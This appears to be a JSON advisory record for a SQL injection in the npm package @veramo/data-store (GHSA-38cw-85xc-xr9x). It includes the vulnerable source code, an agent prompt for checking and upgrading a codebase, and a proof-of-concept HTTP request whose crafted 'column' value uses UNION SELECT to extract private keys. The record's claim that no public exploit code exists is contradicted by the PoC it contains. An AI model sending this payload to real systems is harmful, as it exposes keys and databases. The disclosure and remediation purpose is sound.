{"answers":{"affected":"2 open source packages ship an affected version, including @veramo/data-store.","exploited":"There is no known exploitation of GHSA-38cw-85xc-xr9x in the wild and no public exploit code.","fix":"Upgrade @veramo/data-store to 6.0.2 or later.","what":"GHSA-38cw-85xc-xr9x is a SQL injection vulnerability in @veramo/data-store, published on 16 Jan 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-38cw-85xc-xr9x and fix it if it is affected.\n\nWhat it is: GHSA-38cw-85xc-xr9x is a SQL injection vulnerability in @veramo/data-store, published on 16 Jan 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-38cw-85xc-xr9x in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @veramo/data-store (npm): affected all versions; fixed in 6.0.2\n- @veramo/data-store (npm): affected all versions; fixed in 6.0.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/ (Markdown: https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/index.md)","id":"GHSA-38cw-85xc-xr9x","markdown":"https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/index.md","name":"GHSA-38cw-85xc-xr9x","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["data_read","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"Veramo data store library","requires_auth":"low_privilege","summary":"Authenticated users can execute arbitrary SQL queries via unsanitized column parameters in Veramo data store ORM, risking data exposure and modification.","user_interaction":"not_required","vuln_class":"sql_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nAn SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests.\n\n## Details\n\n`packages/data-store/src/data-store-orm.ts` (lines 416-434)\n\nThe vulnerability exists in the `decorateQB()` function which processes query ordering parameters:\n\n```typescript\nfunction decorateQB(\n  qb: SelectQueryBuilder\u003cany\u003e,\n  tableName: string,\n  input: FindArgs\u003cany\u003e,\n): SelectQueryBuilder\u003cany\u003e {\n  if (input?.skip) qb = qb.offset(input.skip)\n  if (input?.take) qb = qb.limit(input.take)\n\n  if (input?.order) {\n    for (const item of input.order) {\n      qb = qb.addSelect(\n        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),\n        item.column,\n      )\n      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)\n    }\n  }\n  return qb\n}\n```\n\n**Root Cause:**\n\n1. The `item.column` value from user input is passed directly as the **alias** parameter to `addSelect()` without any sanitization or validation\n2. While TypeScript defines allowed column types (e.g., `TCredentialColumns = 'context' | 'type' | ...`), this is only compile-time checking\n3. At runtime, the function accepts `FindArgs\u003cany\u003e`, allowing arbitrary strings to bypass type restrictions\n4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection\n\n**Affected Endpoints:**\n\nAll endpoints are located in `packages/data-store/src/data-store-orm.ts`:\n\n| Endpoint | Method | Line |\n|----------|--------|------|\n| `dataStoreORMGetIdentifiers` | identifiersQuery() | 85-98 |\n| `dataStoreORMGetMessages` | messagesQuery() | 129-153 |\n| `dataStoreORMGetVerifiableCredentialsByClaims` | claimsQuery() | 168-198 |\n| `dataStoreORMGetVerifiableCredentials` | credentialsQuery() | 227-252 |\n| `dataStoreORMGetVerifiablePresentations` | presentationsQuery() | 275-297 |\n\nAll these methods call `decorateQB()` which processes the vulnerable `order` parameter.\n\n## PoC\n\n**Prerequisites:**\n\n- A running Veramo agent with the REST API exposed (e.g., via `@veramo/remote-server`)\n- Valid authentication credentials (Bearer token)\n- The agent uses `@veramo/data-store` with a SQLite or compatible database\n\n**Example Exploit to Extract Private Keys From DB:**\n\n```http\nPOST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1\nHost: localhost:3332\nContent-Length: 811\nAuthorization: Bearer test123\nContent-Type: application/json\n\n{ \"where\":[\n    {\n      \"value\": [\n        \"string\"\n      ],\n      \"not\": true,\n      \"op\": \"foo\",\n\"column\":\"bar\"\n    }\n  ],\n \n  \"skip\": 0,\n  \"take\": 11111232323230,\n\"order\": [\n    {\n      \"direction\": \"ASC\",\"column\":\"issuanceDate\\\" AS \\\"issuanceDate\\\" FROM \\\"claim\\\" \\\"claim\\\" LEFT JOIN \\\"identifier\\\" \\\"issuer\\\" ON \\\"issuer\\\".\\\"did\\\"=\\\"claim\\\".\\\"issuerDid\\\"  LEFT JOIN \\\"identifier\\\" \\\"subject\\\" ON \\\"subject\\\".\\\"did\\\"=\\\"claim\\\".\\\"subjectDid\\\"  LEFT JOIN \\\"credential\\\" \\\"credential\\\" ON \\\"credential\\\".\\\"hash\\\"=\\\"claim\\\".\\\"credentialHash\\\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -\"\n    }\n  ]\n}\n```\n\nsimilar exploit could be used against the other affected endpoints\n\n## Impact\n\n**Attack capabilities:**\n\n- Complete database read access\n- Reading or write files into fs depending on dbms used\n- Database-specific escalation paths\n- Dos through timebased or multiple long running queries","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM","id":"GHSA-38cw-85xc-xr9x","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"sql_injection","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["6.0.2"],"introduced":["0"],"last_affected":[],"package":"@veramo/data-store","purl":null,"source":"GHSA-38cw-85xc-xr9x"},{"ecosystem":"npm","fixed":["6.0.2"],"introduced":["0"],"last_affected":[],"package":"@veramo/data-store","purl":"pkg:npm/%40veramo/data-store","source":"GHSA-38cw-85xc-xr9x"}],"products":null,"published":"2026-01-16","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Authenticated users can execute arbitrary SQL queries via unsanitized column parameters in Veramo data store ORM, risking data exposure and modification.","url":"https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/"}